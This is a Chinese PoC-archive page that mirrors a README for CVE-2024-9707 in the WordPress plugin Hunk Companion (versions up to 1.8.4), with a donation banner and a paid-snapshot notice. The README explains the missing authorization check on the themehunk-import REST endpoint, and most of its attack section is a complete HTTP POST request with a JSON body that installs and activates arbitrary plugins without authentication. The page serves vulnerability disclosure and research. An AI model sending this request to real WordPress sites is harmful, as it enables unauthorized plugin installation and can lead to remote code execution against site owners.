目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2024-9707 PoC — WordPress plugin Hunk Companion 安全漏洞

来源
关联漏洞
标题: WordPress plugin Hunk Companion 安全漏洞 (CVE-2024-9707)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Hunk Companion 1.8.4版本及之前版本存在安全漏洞,该漏洞源于缺少对 /wp-json/hc/v1/themehunk-import REST API 端点的功能检查。攻击者利用该漏洞可以远程执行代码。
Description
Hunk Companion <= 1.8.4 - Missing Authorization to Unauthenticated Arbitrary Plugin Installation/Activation
介绍
# CVE-2024-9707
Hunk Companion &lt;= 1.8.4 - Missing Authorization to Unauthenticated Arbitrary Plugin Installation/Activation

# Description
The Hunk Companion plugin for WordPress is vulnerable to unauthorized plugin installation/activation due to a missing capability check on the /wp-json/hc/v1/themehunk-import REST API endpoint in all versions up to, and including, 1.8.4. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	
Rating: Critical
CVVS score: 9.8
```

POC
---

```
POST /wp-json/hc/v1/themehunk-import HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/themes.php?page=themehunk-site-library&template=step
Content-Type: application/json
Content-Length: 2942
Origin: http://kubernetes.docker.internal
Connection: keep-alive

{
  "params": {
    "templateType": "free",
    "plugin": {
      "lead-form-builder": "Lead Form Builder",
      "woocommerce": "Woocommerce"
    },
    "allPlugins": [
      {
        "woocommerce": "woocommerce/woocommerce.php",
        "unlimited-blocks": "unlimited-blocks/unlimited-blocks.php",
        "elementor": "elementor/elementor.php",
        "pagelayer": "pagelayer/pagelayer.php",
        "brizy": "brizy/brizy.php",
        "megamenu": "megamenu/megamenu.php",
        "wc-multivendor-membership": "wc-multivendor-membership/wc-multivendor-membership.php",
        "wc-multivendor-marketplace": "wc-multivendor-marketplace/wc-multivendor-marketplace.php",
        "wc-frontend-manager": "wc-frontend-manager/wc_frontend_manager.php",
        "getwid": "getwid/getwid.php",
        "th-advance-product-search": "th-advance-product-search/th-advance-product-search.php",
        "th-all-in-one-woo-cart": "th-all-in-one-woo-cart/th-all-in-one-woo-cart.php",
        "th-product-compare": "th-product-compare/th-product-compare.php",
        "beaver-builder-lite-version": "beaver-builder-lite-version/fl-builder.php",
        "contact-form-7": "contact-form-7/wp-contact-form-7.php",
        "lead-form-builder": "lead-form-builder/lead-form-builder.php",
        "wp-popup-builder": "wp-popup-builder/wp-popup-builder.php",
        "motopress-hotel-booking-lite": "motopress-hotel-booking-lite/motopress-hotel-booking.php",
        "real-estate-listing-realtyna-wpl": "real-estate-listing-realtyna-wpl/WPL.php",
        "bmi-calculator-shortcode": "bmi-calculator-shortcode/bmi-calculator-shortcode.php",
        "yith-woocommerce-wishlist": "yith-woocommerce-wishlist/init.php",
        "yith-woocommerce-compare": "yith-woocommerce-compare/init.php",
        "give": "give/give.php",
        "restaurant-cafe-addon-for-elementor": "restaurant-cafe-addon-for-elementor/restaurant-cafe-addon-for-elementor.php",
        "dokan-lite": "dokan-lite/dokan.php",
        "easy-appointments": "easy-appointments/main.php",
        "woocommerce-conversion-tracking": "woocommerce-conversion-tracking/conversion-tracking.php",
        "mage-eventpress": "mage-eventpress/woocommerce-event-press.php",
        "dc-woocommerce-multi-vendor": "dc-woocommerce-multi-vendor/dc_product_vendor.php",
        "affiliate-coupons": "affiliate-coupons/affiliate-coupons.php",
        "wemail": "wemail/wemail.php",
        "charitable": "charitable/charitable.php",
        "rencontre": "rencontre/rencontre.php",
        "easy-property-listings": "easy-property-listings/easy-property-listings.php",
        "ecalypse-rental-starter": "ecalypse-rental-starter/ecalypse-rental-starter.php",
        "cryptocurrency-price-ticker-widget": "cryptocurrency-price-ticker-widget/cryptocurrency-price-ticker-widget.php",
        "animentor-lottie-bodymovin-elementor": "animentor-lottie-bodymovin-elementor/animentor-lottie-bodymovin-elementor.php",
        "tickera-event-ticketing-system": "tickera-event-ticketing-system/tickera.php",
        "ymm-search": "ymm-search/ymm-search.php",
        "themehunk-customizer": "themehunk-customizer/themehunk-customizer.php",
        "hunk-companion": "hunk-companion/hunk-companion.php"
      }
    ],
    "builder": "gogo",
    "themeSlug": "gogo",
    "proThemePlugin": "hunk-companion",
    "tmplFreePro": "plugin",
    "wpUrl": "https://downloads.wordpress.org/",
    "thUrl": "https://themehunk.com/wp/data/"
  }
}
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →